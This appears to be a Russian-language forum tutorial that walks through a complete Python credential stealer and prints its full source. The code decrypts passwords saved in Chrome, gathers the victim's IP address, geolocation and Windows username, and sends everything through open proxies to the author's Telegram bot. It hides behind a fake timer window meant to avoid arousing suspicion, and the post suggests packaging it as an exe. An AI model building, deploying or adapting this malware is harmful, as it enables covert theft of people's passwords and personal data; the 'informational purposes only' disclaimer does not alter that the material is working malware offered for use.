Небольшой граббер данных с пк и айпи.
ВНИМАНИЕ!
Информация предоставлена исключительно в ознакомительных целях.
Начнём как обычно с импортов зависимостей:
import os import sqlite3 import requests import argparse from sys import exit from tkinter import * from time import sleep from win32crypt import CryptUnprotectData
Сразу хочу оговориться, грабер паролей я писал не сам, старенький скрипт который лежал у меня на пк.
Сразу кидаю весь скрипт граббера паролей с хрома.
Что бы он корректно работал - хром должен быть закрыт. В любом случае отследить процесс хрома и убить его не составит труда. Но раз мы тут не вирусы пишем я не буду этого делать.
# Находим Хром
def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName
# Грабим базу данных с сохраненными паролями
def grub():
secret = []
path = chromepath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
for i in value:
password = CryptUnprotectData(i[2], None, None, None, 0)[1]
if password:
secret.append({'1': i[0],'2': i[1],'3': str(password)})
except sqlite3.OperationalError as e:
if (str(e) == 'database is locked'):
exit(0)
else:
exit(0)
if secret == []:
pass
else:
return secret
# Сохраняем пароли в массив
def pass_list(teb):
mass = []
for data in teb:
for x in data.values():
mass.append(x)
# print(x)
return mass
Далее нам необходимо добавить прокси для корректной отправки в телеграм логов, ведь в РФ телеграм заблочен.
http_proxy = "http://46.5.252.70:3128"
https_proxy = "https://68.183.80.218:8080"
ftp_proxy = "ftp://68.183.80.218:8080"
proxyDict = {
"http" : http_proxy,
"https" : https_proxy,
"ftp" : ftp_proxy
}
Далее нам необходимо прописать токен и айди человека которому будут лететь логи.(Обязательно напишите боту /start перед проверкой работоспособности софта.) Что бы создать бота пишем @BotFather и создаем у него бота. После получения токена идём к @get_id_bot и получаем свой айди. Далее заполняем данные в скрипте.
token = "11111111111:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" URL = "https://api.telegram.org/bot" + token + "/" id = 123321123321
Затем нам необходимо написать функцию чека айпи:
def get_ip_info():
r = requests.get("http://api.ipify.org")
ip = r
inf = requests.get(f"https://ipapi.co/{ip.text}/json/")
city = inf.json()["city"]
region = inf.json()["region"]
country_name = inf.json()["country_name"]
timezone = inf.json()["timezone"]
utc_offset = inf.json()["utc_offset"]
country_calling_code = inf.json()["country_calling_code"]
currency = inf.json()["currency"]
languages = inf.json()["languages"]
org = inf.json()["org"]
text = "ip: " + ip.text + "\n" + "Город: " + city + "\n" + "Регион: " + region + "\n" + "Страна: " + country_name + "\n" + "Временная зона: " + timezone + "\n" + "UTC: " + utc_offset + "\n" + "Код сотового оператора: " + "±" + country_calling_code + "\n" + "Валюта: " + currency + "\n" + "Языки: " + languages + "\n" + "Провайдер: " + org + "\n" + "Имя пользователя пк: " + str(os.getlogin()) + "\n\n\n" + "Пароли: " + "\n" + str(pass_list(grub()))
url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML"
requests.get(url, proxies=proxyDict)
Итак, вначале мы делаем запрос на api.ipify.org что бы узнать айпи машины на которой запущен скрипт, далее мы отправляем этот айпи на другой сервис ipapi.co и с его ответа уже парсим город, регион, страну, временную зону, часовой пояс. код сотового оператора, валюту, языки, провайдера. Так же в конце text есть функция str(os.getlogin()) которая позволяет узнать нам имя пользователя виндовс.
Так же в конце есть вызов нашей функции которая грабит пароли. pass_list(grub())
ну а с помощью последних двух строк :
url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML"
requests.get(url, proxies=proxyDict)
мы отправляем сообщение через бота себе.
Что бы не вызвать подозрения у пользователя мы сделаем простенький таймер который через определенное количество минут выдаст пользователю сообщение которое он заранее записал туда.
Начнём с функции которая отвечает за создание встречающего нас окна:
def main():
root = Tk()
root.resizable(width=False, height=False)
root.title("Timer")
root.geometry("350x120")
token = StringVar()
ids = StringVar()
name_label = Label(text="Time:")
surname_label = Label(text="Text:")
name_label.place(relx=.1, rely=.20, anchor="w")
surname_label.place(relx=.1, rely=.40, anchor="w")
message_entry1 = Entry(textvariable=token, selectbackground="red")
message_entry1.place(relx=.5, rely=.30, anchor="sw")
message_entry2 = Entry(textvariable=ids, selectbackground="red")
message_entry2.place(relx=.5, rely=.45, anchor="sw")
message_button2 = Button(text="start", command=lambda:reset(root, token.get(), ids.get()))
message_button2.place(relx=.50, rely=.8, width=120, anchor="c")
root.mainloop()
Здесь мы создаем окно с 2 полями. В первое просим ввести время а во второе текст. Выглядит оно так:
После заполнение полей и нажатия кнопки старт будет вызвана функция reset:
def reset(testroot, one, two2): testroot.destroy() timer(one, two2)
Тут мы убиваем это окно и передаём управление функции timer:
def timer(one, two2):
n = 0
while True:
if n < int(one) * 60:
n+=1
print(n)
sleep(1)
else:
root = Tk()
root.resizable(width=False, height=False)
root.title("ДЗЫНЬ ДЗЫНЬ")
root.geometry("350x135")
text = Text(width=42, height=6, bg="white", fg='black', wrap=WORD)
text.pack()
text.insert(END, str(two2))
message_button2 = Button(text="Exit", command=lambda:reset2(root))
message_button2.place(relx=.50, rely=.87, width=120, anchor="c")
root.mainloop()
break
Функция таймер будет вести отчет в минутах. Как только минуты которые вписал пользователь истекут он выдаст сообщение:
(Это лишь пример, тут будет текст который пользователь впишет во второй графе.) После нажатия кнопки Exit будет вызвана функция которая убьёт окно
def reset2(testroot): testroot.destroy()
Так же помимо листинга программы в конце хотелось бы сказать о том что можно с лёгкостью конвертировать py скрипт в exe файл при помощи pyinstaller и даже задать ему иконку :)
Делается это очень просто:
В конце указываем файл или путь к нему, в моём случае это main.py
Вот скрин отстука с бота. Естественно всё происходило на моём личном пк для тестирования:
Вы бы могли улучшить скрипт добавив граббинг паролей с других популярных браузеров.
Мой код не идеален. Это вообще всё большой костыль по моему мнению и можно было лучше.
На этом всё, а вот и полный листинг программы:
import os
import sqlite3
import requests
import argparse
from sys import exit
from tkinter import *
from time import sleep
from win32crypt import CryptUnprotectData
# Находим Хром
def chromepath():
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
exit(0)
return PathName
# Грабим базу данных с сохраненными паролями
def grub():
secret = []
path = chromepath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall()
for i in value:
password = CryptUnprotectData(i[2], None, None, None, 0)[1]
if password:
secret.append({'1': i[0],'2': i[1],'3': str(password)})
except sqlite3.OperationalError as e:
if (str(e) == 'database is locked'):
exit(0)
else:
exit(0)
if secret == []:
pass
else:
return secret
def pass_list(teb):
mass = []
for data in teb:
for x in data.values():
mass.append(x)
# print(x)
return mass
# print(pass_list(grub()))
http_proxy = "http://46.5.252.70:3128"
https_proxy = "https://68.183.80.218:8080"
ftp_proxy = "ftp://68.183.80.218:8080"
proxyDict = {
"http" : http_proxy,
"https" : https_proxy,
"ftp" : ftp_proxy
}
token = "11111111111:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
URL = "https://api.telegram.org/bot" + token + "/"
id = 123321123321
def get_ip_info():
r = requests.get("http://api.ipify.org")
ip = r
inf = requests.get(f"https://ipapi.co/{ip.text}/json/")
city = inf.json()["city"]
region = inf.json()["region"]
country_name = inf.json()["country_name"]
timezone = inf.json()["timezone"]
utc_offset = inf.json()["utc_offset"]
country_calling_code = inf.json()["country_calling_code"]
currency = inf.json()["currency"]
languages = inf.json()["languages"]
org = inf.json()["org"]
text = "ip: " + ip.text + "\n" + "Город: " + city + "\n" + "Регион: " + region + "\n" + "Страна: " + country_name + "\n" + "Временная зона: " + timezone + "\n" + "UTC: " + utc_offset + "\n" + "Код сотового оператора: " + "±" + country_calling_code + "\n" + "Валюта: " + currency + "\n" + "Языки: " + languages + "\n" + "Провайдер: " + org + "\n" + "Имя пользователя пк: " + str(os.getlogin()) + "\n\n\n" + "Пароли: " + "\n" + str(pass_list(grub()))
url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML"
requests.get(url, proxies=proxyDict)
def reset(testroot, one, two2):
testroot.destroy()
timer(one, two2)
def reset2(testroot):
testroot.destroy()
def timer(one, two2):
n = 0
while True:
if n < int(one):
n+=1
print(n)
sleep(1)
else:
root = Tk()
root.resizable(width=False, height=False)
root.title("ДЗЫНЬ ДЗЫНЬ")
root.geometry("350x135")
text = Text(width=42, height=6, bg="white", fg='black', wrap=WORD)
text.pack()
text.insert(END, str(two2))
message_button2 = Button(text="Exit", command=lambda:reset2(root))
message_button2.place(relx=.50, rely=.87, width=120, anchor="c")
root.mainloop()
break
def main():
root = Tk()
root.resizable(width=False, height=False)
root.title("Timer")
root.geometry("350x120")
token = StringVar()
ids = StringVar()
name_label = Label(text="Time:")
surname_label = Label(text="Text:")
name_label.place(relx=.1, rely=.20, anchor="w")
surname_label.place(relx=.1, rely=.40, anchor="w")
message_entry1 = Entry(textvariable=token, selectbackground="red")
message_entry1.place(relx=.5, rely=.30, anchor="sw")
message_entry2 = Entry(textvariable=ids, selectbackground="red")
message_entry2.place(relx=.5, rely=.45, anchor="sw")
message_button2 = Button(text="start", command=lambda:reset(root, token.get(), ids.get()))
message_button2.place(relx=.50, rely=.8, width=120, anchor="c")
root.mainloop()
if __name__ == "__main__":
get_ip_info()
main()